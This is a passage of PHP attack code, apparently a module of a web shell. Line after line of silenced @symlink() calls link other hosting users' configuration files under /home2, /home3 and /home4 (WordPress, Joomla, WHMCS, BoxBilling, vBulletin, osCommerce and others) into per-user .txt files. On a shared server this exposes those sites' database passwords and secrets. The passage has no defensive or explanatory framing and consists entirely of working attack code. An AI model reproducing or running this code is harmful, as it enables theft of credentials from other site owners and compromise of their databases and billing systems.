6339@symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
6340@symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
6341@symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
6342@symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
6343@symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
6344@symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
6345@symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
6346@symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
6347@symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
6348@symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
6349@symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
6350@symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
6351@symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
6352@symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
6353@symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
6354@symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
6355@symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
6356@symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
6357@symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
6358@symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
6359@symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
6360@symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
6361@symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
6362@symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
6363@symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
6364@symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
6365@symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
6366@symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
6367@symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
6368@symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
6369@symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
6370@symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
6371@symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
6372@symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
6373@symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
6374@symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
6375@symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
6376@symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
6377@symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
6378@symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
6379@symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
6380
6381//Home3
6382
6383@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
6384@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
6385@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
6386@symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
6387@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
6388@symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
6389@symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
6390@symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
6391@symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
6392@symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
6393@symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
6394@symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
6395@symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
6396@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
6397@symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
6398@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
6399@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
6400@symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
6401@symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
6402@symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
6403@symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
6404@symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
6405@symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
6406@symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
6407@symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
6408@symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
6409@symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
6410@symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
6411@symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
6412@symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
6413@symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
6414@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
6415@symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
6416@symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
6417@symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
6418@symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
6419@symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
6420@symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
6421@symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
6422@symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
6423@symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
6424@symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
6425@symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
6426@symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
6427@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
6428@symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
6429@symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
6430@symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
6431@symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
6432@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6433@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6434@symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
6435@symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
6436@symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
6437@symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
6438@symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
6439@symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
6440@symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
6441@symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
6442@symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
6443@symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
6444@symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
6445@symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
6446@symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
6447@symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
6448@symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
6449@symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
6450@symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
6451@symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
6452@symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
6453@symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
6454@symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
6455@symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
6456@symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
6457@symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
6458@symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
6459@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
6460@symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
6461@symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
6462@symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
6463@symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
6464@symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
6465@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
6466@symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
6467@symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
6468@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
6469@symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
6470@symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
6471@symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
6472@symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
6473@symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
6474@symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
6475@symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
6476@symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
6477@symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
6478@symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
6479@symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
6480@symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
6481@symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
6482@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6483@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6484@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6485@symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
6486@symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
6487@symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
6488@symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
6489@symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
6490@symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
6491@symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
6492@symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
6493@symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
6494@symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
6495@symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
6496@symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
6497@symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
6498@symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
6499@symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
6500@symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
6501@symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
6502@symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
6503@symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
6504@symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
6505@symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
6506@symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
6507@symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
6508@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
6509@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6510@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6511@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6512@symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
6513@symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
6514@symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
6515@symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
6516@symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
6517@symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
6518@symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
6519@symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
6520@symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
6521@symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
6522@symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
6523@symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
6524@symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
6525@symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
6526@symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
6527@symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
6528@symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
6529@symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
6530@symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
6531@symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
6532@symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
6533@symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
6534@symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
6535@symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
6536@symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
6537@symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
6538@symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
6539@symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
6540@symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
6541@symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
6542@symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
6543@symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
6544@symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
6545@symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
6546@symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
6547@symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
6548@symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
6549@symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
6550@symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
6551@symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
6552@symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
6553@symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
6554@symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
6555@symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
6556@symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
6557@symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
6558@symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
6559@symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
6560@symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
6561@symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
6562@symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
6563
6564//Home4
6565
6566@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
6567@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
6568@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
6569@symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
6570@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
6571@symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
6572@symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
6573@symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
6574@symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
6575@symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
6576@symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
6577@symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
6578@symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
6579@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
6580@symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
6581@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
6582@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
6583@symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
6584@symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
6585@symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
6586@symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
6587@symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
6588@symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
6589@symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
6590@symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
6591@symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
6592@symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
6593@symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
6594@symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
6595@symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
6596@symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
6597@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
6598@symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
6599@symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
6600@symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
6601@symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
6602@symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
6603@symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
6604@symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
6605@symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
6606@symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
6607@symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
6608@symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
6609@symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
6610@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
6611@symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
6612@symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
6613@symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
6614@symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
6615@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6616@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6617@symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
6618@symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
6619@symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
6620@symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
6621@symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
6622@symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
6623@symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
6624@symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
6625@symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
6626@symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
6627@symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
6628@symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
6629@symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
6630@symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
6631@symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
6632@symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
6633@symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
6634@symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
6635@symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
6636@symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
6637@symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
6638@symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
6639@symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
6640@symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
6641@symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
6642@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
6643@symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
6644@symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
6645@symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
6646@symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
6647@symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
6648@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
6649@symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
6650@symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
6651@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
6652@symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
6653@symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
6654@symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
6655@symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
6656@symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
6657@symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
6658@symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
6659@symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
